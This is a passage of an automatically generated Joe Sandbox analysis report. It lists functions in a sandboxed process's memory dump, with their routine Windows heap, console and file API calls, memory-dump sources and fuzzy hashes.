                                                                                      • Instruction ID: e9fe3e377f8aabe95c50681306e2ce9b604ff8bbbbb4b6f0b1ad9b70cd4f27d0
                                                                                      • Opcode Fuzzy Hash: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
                                                                                      • Instruction Fuzzy Hash: F4010822A09A86D2FA48AB10B992134A6A0FF45730FE44335E62E427E0DF3C6585C321
                                                                                      Function 00007FF78CF673C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressHandleModuleProc
                                                                                      • String ID: RaiseFailFastException$kernelbase.dll
                                                                                      • API String ID: 1646373207-919018592
                                                                                      • Opcode ID: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
                                                                                      • Instruction ID: 3bd42acf7926cd0bde102b090092aeec3dbb4ad2c61907f5607e83c38fc1b31c
                                                                                      • Opcode Fuzzy Hash: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
                                                                                      • Instruction Fuzzy Hash: BDF0DA62A18B91D2FA04AB12F545079FA60FF8DBD1B989535EA4E07B14CF3CD489C710
                                                                                      Function 00007FF78CF41130 Relevance: 6.2, APIs: 4, Instructions: 156COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$CurrentDirectorytowupper
                                                                                      • String ID:
                                                                                      • API String ID: 1403193329-0
                                                                                      • Opcode ID: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
                                                                                      • Instruction ID: 34938d101e3c17445bcf68850be0c5ce68986eb2c664aa0f52c0914e28d38e59
                                                                                      • Opcode Fuzzy Hash: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
                                                                                      • Instruction Fuzzy Hash: A6619E33A08B828AF720EB6198406BDB7A4FB84758FA48135EF5D47BA9DF38D550C710
                                                                                      Function 00007FF78CF54878 Relevance: 6.1, APIs: 4, Instructions: 138COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsnicmp$wcschr
                                                                                      • String ID:
                                                                                      • API String ID: 3270668897-0
                                                                                      • Opcode ID: 0c5351208ff2a5a36442746df2c9d56de1180022aab67ae3c28b2a55d3b35da5
                                                                                      • Instruction ID: 212f4086c8be7aeffb03e18321162435691a47b46dee2af508a6771e84898060
                                                                                      • Opcode Fuzzy Hash: 0c5351208ff2a5a36442746df2c9d56de1180022aab67ae3c28b2a55d3b35da5
                                                                                      • Instruction Fuzzy Hash: 58519B53E0864282FA61BF1094022B9E7A1FF45B80FF99131DB5E872D5EE2CEA45C760
                                                                                      Function 00007FF78CF6F358 Relevance: 6.1, APIs: 4, Instructions: 74COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$DriveFullNamePathType
                                                                                      • String ID:
                                                                                      • API String ID: 3442494845-0
                                                                                      • Opcode ID: 96e94011f7e51b9192f665da575d41fb78cf0bd335fa213fa644a3e80f09fdea
                                                                                      • Instruction ID: b471d37e9e848598af4e16756185aeb4798a79c7d9746a8d3cab4747bb57938d
                                                                                      • Opcode Fuzzy Hash: 96e94011f7e51b9192f665da575d41fb78cf0bd335fa213fa644a3e80f09fdea
                                                                                      • Instruction Fuzzy Hash: 4031A033615BC28AEB60EF21E8447E9B7A4FB88B84F944135EA4D47B54CF38D645C710
                                                                                      Function 00007FF78CF58F80 Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
                                                                                      • String ID:
                                                                                      • API String ID: 140117192-0
                                                                                      • Opcode ID: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
                                                                                      • Instruction ID: c1def9cc6c284ee1849e112ab88b98f2c016f3ead898f60970bfdd53d48e8e38
                                                                                      • Opcode Fuzzy Hash: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
                                                                                      • Instruction Fuzzy Hash: 4041CB36A09B8186FB50AB18F892365B3A4FB88744FF04135EA8D93B64DF7DE545C720
                                                                                      Function 00007FF78CF58470 Relevance: 6.1, APIs: 4, Instructions: 72stringCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcstol$lstrcmp
                                                                                      • String ID:
                                                                                      • API String ID: 3515581199-0
                                                                                      • Opcode ID: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
                                                                                      • Instruction ID: 4a14bf3d2104124ebc72cd9aebe6aa6f5fe9cd8b737091b420fbc6ea08e9e01e
                                                                                      • Opcode Fuzzy Hash: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
                                                                                      • Instruction Fuzzy Hash: 4F21D233A4864283F6606B79A49413EEBA0FB89754FA15034DF9F82B58CE6CE545C620
                                                                                      Function 00007FF78CF44F58 Relevance: 6.1, APIs: 4, Instructions: 72filetimeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: File_get_osfhandle$TimeWrite
                                                                                      • String ID:
                                                                                      • API String ID: 4019809305-0
                                                                                      • Opcode ID: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
                                                                                      • Instruction ID: 0d4c8ed2aabe9abf6ec89b8bacdc32141173a16373e7ca2e7163d95f04412f2b
                                                                                      • Opcode Fuzzy Hash: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
                                                                                      • Instruction Fuzzy Hash: EF319123A0878287F7A46B14A480778F6A1FF4AB60FA49238DA4E43BD5CF7CD854C710
                                                                                      Function 00007FF78CF71914 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$DriveNamePathTypeVolume
                                                                                      • String ID:
                                                                                      • API String ID: 1029679093-0
                                                                                      • Opcode ID: d45035a7c6ac09dbba50d0c00beb4f85e1cca4574d2ac4f31282f71e25618f1f
                                                                                      • Instruction ID: 10dff8f2d942a10003ac921f1dc39d908d11888f7f6d3dd45fbadb3d0e50fdbe
                                                                                      • Opcode Fuzzy Hash: d45035a7c6ac09dbba50d0c00beb4f85e1cca4574d2ac4f31282f71e25618f1f
                                                                                      • Instruction Fuzzy Hash: 99313A33705AC18AFB209F21D8957E9A7A4FB89B84F948135EA4D4BB48DF3CD649C710
                                                                                      Function 00007FF78CF6E810 Relevance: 6.1, APIs: 4, Instructions: 67fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: File$DeleteErrorLastWrite_get_osfhandle
                                                                                      • String ID:
                                                                                      • API String ID: 2448200120-0
                                                                                      • Opcode ID: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
                                                                                      • Instruction ID: 6d146a9ec69d3d984eb76454f63d24be5f0dfe5f3a548caf4b7a5a77d7be6bb1
                                                                                      • Opcode Fuzzy Hash: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
                                                                                      • Instruction Fuzzy Hash: E7216D33A18B4287FB15BB21A80167DF6A1FB84B81FA44135EA4E03795CF3CE401CB20
                                                                                      Function 00007FF78CF57CF8 Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$AllocProcess
                                                                                      • String ID:
                                                                                      • API String ID: 1617791916-0
                                                                                      • Opcode ID: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
                                                                                      • Instruction ID: b0a747b2bfe6c9cde08dbc51216728d25c9fe036aa6e64c843f8c5bf8772eea8
                                                                                      • Opcode Fuzzy Hash: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
                                                                                      • Instruction Fuzzy Hash: 65218662A08B4186FE04AB55A910079F7A1FF89BD1BA49234DF1E43795DF3CE406C720
                                                                                      Function 00007FF78CF46A48 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF53C24: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF78CF53D0C
                                                                                        • Part of subcall function 00007FF78CF53C24: towupper.MSVCRT ref: 00007FF78CF53D2F
                                                                                        • Part of subcall function 00007FF78CF53C24: iswalpha.MSVCRT ref: 00007FF78CF53D4F
                                                                                        • Part of subcall function 00007FF78CF53C24: towupper.MSVCRT ref: 00007FF78CF53D75
                                                                                        • Part of subcall function 00007FF78CF53C24: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF53DBF
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925,?,?,?,?,00007FF78CF4B9B1), ref: 00007FF78CF46ABF
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF46AD3
                                                                                        • Part of subcall function 00007FF78CF46B84: SetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,00007FF78CF46AE8,?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925), ref: 00007FF78CF46B8B
                                                                                        • Part of subcall function 00007FF78CF46B84: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,00007FF78CF46AE8,?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925), ref: 00007FF78CF46B97
                                                                                        • Part of subcall function 00007FF78CF46B84: RtlFreeHeap.NTDLL ref: 00007FF78CF46BAF
                                                                                        • Part of subcall function 00007FF78CF46B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF46AF1,?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925), ref: 00007FF78CF46B39
                                                                                        • Part of subcall function 00007FF78CF46B30: RtlFreeHeap.NTDLL ref: 00007FF78CF46B4D
                                                                                        • Part of subcall function 00007FF78CF46B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF46AF1,?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925), ref: 00007FF78CF46B59
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925,?,?,?,?,00007FF78CF4B9B1), ref: 00007FF78CF46B03
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF46B17
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Process$Free$towupper$CurrentDirectoryEnvironmentFullNamePathStringsiswalpha
                                                                                      • String ID:
                                                                                      • API String ID: 3512109576-0
                                                                                      • Opcode ID: bc717c9a596d532be53730772a57c2b9eba5803a0bc99b3bfc1eed86634cc025
                                                                                      • Instruction ID: db9d6d1d5fe00f67d44388a1a58d88d336c3f80c50e9fee55e48066bae8b6ec5
                                                                                      • Opcode Fuzzy Hash: bc717c9a596d532be53730772a57c2b9eba5803a0bc99b3bfc1eed86634cc025
                                                                                      • Instruction Fuzzy Hash: B4215E63A09A8286FB04FB6594146B8BBA0FF59B49FA49035CA4E47351DF2CA44AC371
                                                                                      Function 00007FF78CF4B6B0 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4AF82), ref: 00007FF78CF4B6D0
                                                                                      • HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4AF82), ref: 00007FF78CF4B6E7
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4AF82), ref: 00007FF78CF4B701
                                                                                      • HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4AF82), ref: 00007FF78CF4B715
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Process$AllocSize
                                                                                      • String ID:
                                                                                      • API String ID: 2549470565-0
                                                                                      • Opcode ID: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
                                                                                      • Instruction ID: c5aaebc4a83a77585b0de5ce297d1a4e145af95edb323bcd7207bbd6ef7fecd3
                                                                                      • Opcode Fuzzy Hash: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
                                                                                      • Instruction Fuzzy Hash: 53212127A09B86D6FA14AB15E540478F6A1FF89B80BE8A431EA0E07755DF3CE546C720
                                                                                      Function 00007FF78CF6CFF0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF78CF5507A), ref: 00007FF78CF6D01C
                                                                                      • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF78CF5507A), ref: 00007FF78CF6D033
                                                                                      • FillConsoleOutputAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF78CF5507A), ref: 00007FF78CF6D06D
                                                                                      • SetConsoleTextAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF78CF5507A), ref: 00007FF78CF6D07F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$Attribute$BufferFillHandleInfoOutputScreenText
                                                                                      • String ID:
                                                                                      • API String ID: 1033415088-0
                                                                                      • Opcode ID: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
                                                                                      • Instruction ID: 0a0730d42c57b3ebd5bb0ff78dbb5f1c007598845c58da295337a9d09ff19928
                                                                                      • Opcode Fuzzy Hash: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
                                                                                      • Instruction Fuzzy Hash: 2C11903261CA8297EA049B20F00517AF7A0FB8EB95F905135FA9E47B58DF3CC045CB10
                                                                                      Function 00007FF78CF459E4 Relevance: 6.0, APIs: 4, Instructions: 45fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF51EA0: wcschr.MSVCRT(?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF78CF70D54), ref: 00007FF78CF51EB3
                                                                                      • CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF45A2E
                                                                                      • _open_osfhandle.MSVCRT ref: 00007FF78CF45A4F
                                                                                      • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00008000,?,00000001,00007FF78CF4260D), ref: 00007FF78CF637AA
                                                                                      • CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF78CF637D2
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
